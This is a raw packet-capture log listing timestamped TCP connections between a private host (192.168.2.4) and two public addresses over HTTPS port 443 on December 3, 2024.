Dec 3, 2024 17:55:50.854279995 CET	443	49930	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.858365059 CET	49934	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.858402967 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:50.858493090 CET	49934	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.858629942 CET	49934	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:50.858644962 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.050604105 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.051223040 CET	49931	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.051261902 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.051749945 CET	49931	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.051754951 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.215241909 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.215903044 CET	49932	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.215919971 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.216391087 CET	49932	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.216398954 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.268179893 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.268799067 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.268835068 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.269273043 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.269278049 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.513631105 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.513721943 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.513792038 CET	49931	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.514031887 CET	49931	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.514060020 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.514076948 CET	49931	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.514082909 CET	443	49931	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.517513037 CET	49935	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.517566919 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.517652988 CET	49935	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.517895937 CET	49935	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.517913103 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.677773952 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.680536985 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.680615902 CET	49932	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.680665016 CET	49932	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.680684090 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.680695057 CET	49932	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.680700064 CET	443	49932	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.684005976 CET	49936	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.684042931 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.684150934 CET	49936	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.684298038 CET	49936	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.684309006 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.713872910 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.714309931 CET	49934	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.714322090 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.714775085 CET	49934	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.714780092 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.761159897 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.761192083 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.761245012 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.761248112 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.761311054 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.761651993 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.761671066 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.761682034 CET	49933	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.761687040 CET	443	49933	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.766556025 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.766602039 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:52.766695023 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.767052889 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:52.767065048 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.165977001 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.166863918 CET	49926	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.166907072 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.168246031 CET	49926	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.168253899 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.198617935 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.198698044 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.198755980 CET	49934	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.198925972 CET	49934	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.198950052 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.198964119 CET	49934	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.198970079 CET	443	49934	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.202074051 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.202132940 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.202220917 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.202385902 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.202402115 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.626188040 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.628714085 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.628797054 CET	49926	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.628863096 CET	49926	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.628863096 CET	49926	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.628891945 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.628904104 CET	443	49926	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.634485006 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.634516954 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:53.634579897 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.634757042 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:53.634769917 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.411633015 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.412348032 CET	49935	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.412386894 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.412837029 CET	49935	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.412842035 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.455848932 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.456343889 CET	49936	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.456381083 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.456784010 CET	49936	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.456788063 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.633735895 CET	49940	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:55:54.633797884 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:54.633879900 CET	49940	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:55:54.634149075 CET	49940	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:55:54.634164095 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:54.696590900 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.697217941 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.697232008 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.697721958 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.697727919 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.858226061 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.860965967 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.861054897 CET	49935	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.861114979 CET	49935	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.861135006 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.861155033 CET	49935	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.861160040 CET	443	49935	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.864211082 CET	49941	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.864248991 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.864310980 CET	49941	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.864464998 CET	49941	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.864479065 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.892843008 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.895519018 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.895595074 CET	49936	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.895632982 CET	49936	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.895652056 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.895663023 CET	49936	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.895668030 CET	443	49936	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.898049116 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.898082018 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.898176908 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.898405075 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.898416042 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.987701893 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.988183975 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.988213062 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:54.988656044 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:54.988661051 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.151149988 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.151184082 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.151264906 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.151281118 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.151554108 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.151566029 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.151580095 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.151757002 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.151786089 CET	443	49937	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.151824951 CET	49937	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.154726028 CET	49943	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.154777050 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.154874086 CET	49943	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.155011892 CET	49943	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.155024052 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.361604929 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.362154007 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.362166882 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.362629890 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.362634897 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.449692965 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.452441931 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.452502012 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.452501059 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.452559948 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.452603102 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.452622890 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.452635050 CET	49938	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.452640057 CET	443	49938	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.455740929 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.455781937 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.455859900 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.456027985 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.456038952 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.806169987 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.809128046 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.809178114 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.809201956 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.809241056 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.814583063 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.814601898 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.814626932 CET	49939	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.814632893 CET	443	49939	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.830610991 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.830689907 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:55.830774069 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.831084967 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:55.831104994 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:56.413625002 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:56.414141893 CET	49940	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:55:56.414169073 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:56.414509058 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:56.415343046 CET	49940	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:55:56.415407896 CET	443	49940	142.250.181.100	192.168.2.4
Dec 3, 2024 17:55:56.460685968 CET	49940	443	192.168.2.4	142.250.181.100
Dec 3, 2024 17:55:56.666552067 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:56.667516947 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:56.667540073 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:56.668890953 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:56.668899059 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:56.807219982 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:56.807879925 CET	49941	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:56.807897091 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:56.809165001 CET	49941	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:56.809176922 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.222506046 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.231328011 CET	49943	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.231370926 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.231987953 CET	49943	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.231995106 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.244383097 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.244410992 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.244461060 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.244493961 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.244540930 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.244848967 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.244868994 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.244884968 CET	49942	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.244889975 CET	443	49942	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.249213934 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.249255896 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.249351025 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.249546051 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.249560118 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.345391035 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.345474005 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.345539093 CET	49941	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.345676899 CET	49941	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.345694065 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.345707893 CET	49941	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.345714092 CET	443	49941	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.348452091 CET	49947	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.348494053 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.348581076 CET	49947	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.348812103 CET	49947	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.348824978 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.448452950 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.449297905 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.449328899 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.450635910 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.450640917 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.732064962 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.732144117 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.732202053 CET	49943	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.732537031 CET	49943	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.732557058 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.732568979 CET	49943	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.732578993 CET	443	49943	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.735909939 CET	49948	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.735959053 CET	443	49948	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.736025095 CET	49948	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.736191988 CET	49948	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.736207008 CET	443	49948	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.890383959 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.891499043 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.891530037 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.891999006 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.892010927 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.898668051 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.898693085 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.898772955 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.898811102 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.898946047 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.898962021 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.898984909 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.899118900 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.899147987 CET	443	49944	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.899194956 CET	49944	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.902180910 CET	49949	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.902224064 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:57.902308941 CET	49949	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.902596951 CET	49949	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:57.902612925 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:58.343904018 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:58.347337961 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:58.347390890 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:58.347398043 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:58.347450018 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:58.347500086 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:58.347520113 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:58.347534895 CET	49945	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:58.347542048 CET	443	49945	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:58.350755930 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:58.350804090 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:58.350873947 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:58.351042032 CET	49950	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:58.351058960 CET	443	49950	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.059732914 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.060327053 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.060357094 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.060846090 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.060852051 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.153834105 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.154592037 CET	49947	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.154623985 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.155917883 CET	49947	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.155924082 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.588196039 CET	443	49948	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.588783026 CET	49948	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.588835955 CET	443	49948	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.589477062 CET	49948	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.589483023 CET	443	49948	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.651104927 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.660437107 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.660491943 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.660501003 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.660552979 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.660630941 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.660655022 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.660666943 CET	49946	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.660672903 CET	443	49946	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.663662910 CET	49951	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.663707972 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.663816929 CET	49951	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.664138079 CET	49951	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.664153099 CET	443	49951	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.759538889 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.762173891 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.762234926 CET	49947	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.762273073 CET	49947	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.762291908 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.762324095 CET	49947	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.762334108 CET	443	49947	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.765487909 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.765522957 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.765602112 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.765774965 CET	49952	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.765791893 CET	443	49952	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.839294910 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.839900017 CET	49949	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.839922905 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:59.840522051 CET	49949	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:59.840528011 CET	443	49949	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.095022917 CET	443	49948	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.096657038 CET	443	49948	13.107.246.63	192.168.2.4
Dec 3, 2024 17:56:00.096745014 CET	49948	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.096798897 CET	49948	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:56:00.096822023 CET	443	49948	13.107.246.63	192.168.2.4
